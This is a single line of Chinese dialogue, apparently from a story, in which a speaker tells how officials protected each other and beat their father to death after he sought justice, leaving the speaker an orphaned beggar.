“我爹想要讨一个公道,谁知官官相护,将他乱棍打死,我成了没人要的乞儿。”